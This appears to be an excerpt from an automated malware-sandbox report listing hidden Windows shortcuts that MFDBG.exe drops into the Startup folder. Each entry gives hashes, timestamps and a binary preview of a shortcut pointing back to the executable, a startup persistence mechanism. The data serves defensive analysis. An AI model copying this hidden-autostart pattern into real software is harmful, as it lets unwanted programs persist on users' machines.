SHA-512:	0521FB44BF2935BCD3E79679AA7CA9079A70BDE777B6BFC251875EC7271EF4530764A89C19C06F804D374CCE51CEBCD8DFECA190135BBA502D1A50C683C30F08
Malicious:	false
Preview:	L..................F...."...]W%.{...'2..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_001ca14e95544eb3bae7f53a99c59122.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942512926052346
Encrypted:	false
SSDEEP:	24:8mHmhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8mHs60R6rMhpBoUBxdRd1nYyg
MD5:	A92BAE9A61F2414D6AC4F6078D494AE6
SHA1:	8816D0A93EE562265BD987672E830337FC395676
SHA-256:	A2111332A25028AB7D0692DDD4DEFC4E4993BE24C7E99C26454AD266DFC8E46E
SHA-512:	C46D581D3D4B7E5EE48EA84B0B83F05878B83C5736EE9C232E82D141F97458CD47C8A437E4F0610A1C3216919E7FD8ADF8D6F297D9DF336875E1E57FE23FCB95
Malicious:	false
Preview:	L..................F...."...]W%.{....k..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_002f3f6ff75f4e17818d290ab12069da.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943843124294044
Encrypted:	false
SSDEEP:	24:8UmhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Us60R6rMhpBoUBxdRd1nYyg
MD5:	7D81617E24A928C88E39191DF9BB54C9
SHA1:	3158CA065310C252B232C764FC0D5EF282D6BAB8
SHA-256:	0D9C856DC9E4228AA4BDFAC72BE8D70C0EF3665778FCB291A74548D4D907DD6A
SHA-512:	2044FEAF477EB4A303776500BE600092EFCE6C7AFB49755C5FEE4D5258E3C439D7C2172D41BC0FDA6C91C444573CE0F6DADE634ED48AB061D81646545F670D78
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_006849f5208a480987455abbdf478a37.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932374644085542
Encrypted:	false
SSDEEP:	24:8qhBfI8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8AV0R6rMhpBoUBxdRd1nYyg
MD5:	4D0DBF212A5C16B9A9407E28EA9FDF49
SHA1:	522BDB55E2131B026AD10A8D3F321D3F2142CB94
SHA-256:	30C55A08118FF769FCDCBC25C90941B2CBBFD5E72808AB9A144E4C9429A65C94
SHA-512:	BA81BA7EA7E7E561DC4A751EBADEC9DEAC69C52F32C0092EEAC2EC3AD021F24B1421F5D98372C4E0761F642C02E30CB68E0301B0F01BB4C1F984A0CB9AAC2999
Malicious:	false
Preview:	L..................F...."...]W%.{....c,.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_00ad15fe2f864b5b99bbc81d7541251f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938053402644597
Encrypted:	false
SSDEEP:	24:8whBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8iK0R6rMhpBoUBxdRd1nYyg
MD5:	DFDD512830E5D096580D2893E9766AD8
SHA1:	6AA68177B0419652BB95448C5EE328940C89B6B4
SHA-256:	0EC9182D370D6C15DBF07D743D02AF6F86459A1ECEF0040C0AAA5084CAAEF93C
SHA-512:	5B48ADE3A7CBA80AF93ABBF2242745DAFFD54EAAA806C3E898FCAC4EA4140AC7EBBDAF09AD6EF0DE0E4788A34710411DD0B835EA10E37AAFD751E3C249C28620
Malicious:	false
Preview:	L..................F...."...]W%.{....76.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#B.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_00d0dc1c210c4178a80b2eeb491c9863.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939395436610981
Encrypted:	false
SSDEEP:	24:8QhBf1kD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Cr0R6rMhpBoUBxdRd1nYyg
MD5:	C4F71EEA591680A0BA2083079B20A839
SHA1:	C9F23462315F110BE9863A6E2426A956CFC74B1F
SHA-256:	597696994167A3C62DF737E7018752A3A2EC9AE935A9146D1081162C73C38AFF
SHA-512:	105692919B76261DF588A257888ADDBE0A8F18FDE23BCDFE2F8CE4BCA0C6BA0E7363FC892BA818C27FE224F2883BCC0F740960150A096068F3A4DB77CAD328B3
Malicious:	false
Preview:	L..................F...."...]W%.{...aqL.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....(.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_00ebebafee43487684062606d71c4183.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933184867459285
Encrypted:	false
SSDEEP:	24:8ghBfGY8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8yud0R6rMhpBoUBxdRd1nYyg
MD5:	5EA825A2DD77E46F6B73E7DF133378C8
SHA1:	543237B38DA11EC26A8A7C30BCDEC49D4C7376E3
SHA-256:	FF043799F414C69EEBEB977AD7ADE9C90B6327DD50BD03679515CF748889173D
SHA-512:	1F26D45F0208D280C571E572CE0106983D68F4534DF3A11C2E6DFE58D607E30CBCF7EB56576B63AD8A17DE51ABA7206D16E3D84456D079F6C11C585C8F06906F
Malicious:	false
Preview:	L..................F...."...]W%.{...j.).{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_00ee42cf5c8c4013b23e262b94fe1a0e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938198743715572
Encrypted:	false
SSDEEP:	24:8JhBfTl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8JW0R6rMhpBoUBxdRd1nYyg
MD5:	9A92AA50E663625461A9D5BF19146B97
SHA1:	C60AE7CB7F6A2B1301EDD05DC6595FED45491948
SHA-256:	A1A12CAAD75173569D7EA299FEAB688083C195008DBCA91CB9FC18E3C3A4B353
SHA-512:	B5F633B0CBA417399696A0712FEEB77976EE1B6E7588AF62BC0B2BF2FE423489A40547EA1C003DE763E126A5DBAD8661781A4028AB640AFBDF83E87E1FA266B3
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...*L..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_016a2c35d21c4b6ca4bb7d051f6abc47.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9368685454738745
Encrypted:	false
SSDEEP:	24:8MhBfU8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+p0R6rMhpBoUBxdRd1nYyg
MD5:	0F505EA30484EF323C24707A879D7263
SHA1:	897466583108580AC696BF397E6A881E34E838EF
SHA-256:	57BE052D96FF22E57C7FDA21372E32555F308BB5730F41D074DB7B42164B1084
SHA-512:	8C9E21BB6A56FEC77FB761A54C5AA049B37F03450043E06FC1D418D49BA3AE289618D2010FAEDBDF8C40308241EECB5572FEA6C50881CD13AC21B0DC8BD783C7
Malicious:	false
Preview:	L..................F...."...]W%.{....~..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_017e6a6b5d394cb498a73f1f00525326.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:11 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941182727810649
Encrypted:	false
SSDEEP:	24:8NhBf58iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8t20R6rMhpBoUBxdRd1nYyg
MD5:	695A64B9F8C1CFEE952CF3B2879FB8FB
SHA1:	5E8E74E3851E15672FE58E8854E958CA97E4A6D2
SHA-256:	165B91473D55B62A15920F09115D4930359E2A6498CFD371725F9B32AFA0CF5D
SHA-512:	2F036774C37CD48222112EB3B4C776F2EDE60C061F721CF7C8985A55B54B7930BBD3E7CDBDC7CAF849D67A55AB9059C6DE594EEB575804ABA4F20BD5FFBBFD22
Malicious:	false
Preview:	L..................F...."...]W%.{...._.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...._.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_01815ce8a80d48dfa3816e4a7eb8c570.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9415038978340835
Encrypted:	false
SSDEEP:	24:8thBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Nm0R6rMhpBoUBxdRd1nYyg
MD5:	EE92117D0C4C96B029363039E0FEC220
SHA1:	CDC42E24D32B82C51243EE54983B9A45002F3FC9
SHA-256:	95140CB79FABCB2EFF2055B215AAB093DB2760D172EB9A12ECF4703A0975343E
SHA-512:	D40BEFAF869CAE5F60E66FB2498E2A0BCE4E2BF0A9CA211B15F952235C2B0452BEDC602C5D9DFC46D15AAFC62BD605C50B244AA3104BC00D3BE5162F216755F7
Malicious:	false
Preview:	L..................F...."...]W%.{...g.I.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_01d7a38e785c4aa89f351d9c2810c1e1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936684998541184
Encrypted:	false
SSDEEP:	24:8vhBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zd0R6rMhpBoUBxdRd1nYyg
MD5:	029F9578F52880FFA1E4E566D778F532
SHA1:	60A5A6D97D2C3A709A64E3F74AFE71C9E2D55EC5
SHA-256:	8E8D652135895C8646231B6BED58BECAE3FE3737255D5215FD810EA8B1320CB7
SHA-512:	15438DAE73FDC373FCEEA2A0C8924880FF8F474E62350D49B322AD5340F91E2D2B4EBC8E69AB8863DE2E3AAB774BD0A66AA415AEC4A5BF48486A7750C8348EB8
Malicious:	false
Preview:	L..................F...."...]W%.{...1T..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_01faa85abb6d4b3fbc92d7bb205ad21c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:08 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936059453055156
Encrypted:	false
SSDEEP:	24:8z9hBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Be0R6rMhpBoUBxdRd1nYyg
MD5:	FB34C788FE092960FE183D3FA490A85E
SHA1:	B84EEFB303F1F310E50C4C4259DA50A7EE0A61B9
SHA-256:	CAA36BA08A50043A6A4CBE3DF4107D409CCF6223278AB8EE678BD08695F82149
SHA-512:	EBDF191D54F726643EE30042C385FAFBB02AB8D69E8B88B9FA6B312F1821C32FCECB7ECA3BB95E32310EF0156790F77FECFCA35A46D6E6CB9763F2C5489DB2CD
Malicious:	false
Preview:	L..................F...."...]W%.{...)#F.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...q.<.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_022a891409cf4cbfa1840d322036dd59.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938235610658272
Encrypted:	false
SSDEEP:	24:8YehBfyQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Y0aF0R6rMhpBoUBxdRd1nYyg
MD5:	D811C40D6157EADFF83CBA308A6E5EDA
SHA1:	4D366091664DE3D99A06B078351B2AE098B5923A
SHA-256:	03CC27B09B3E72588E4D47D5BDC87D156670686E45702F74DF245FEAD4F2953C
SHA-512:	E0539D2862930A807DF36204080504F3EF4998151BB95B35E9EFB451C567D3F16022314F40F8BC8461DFB4F1C70EBCF74419114C539C0F3CDD11FE27D48557D9
Malicious:	false
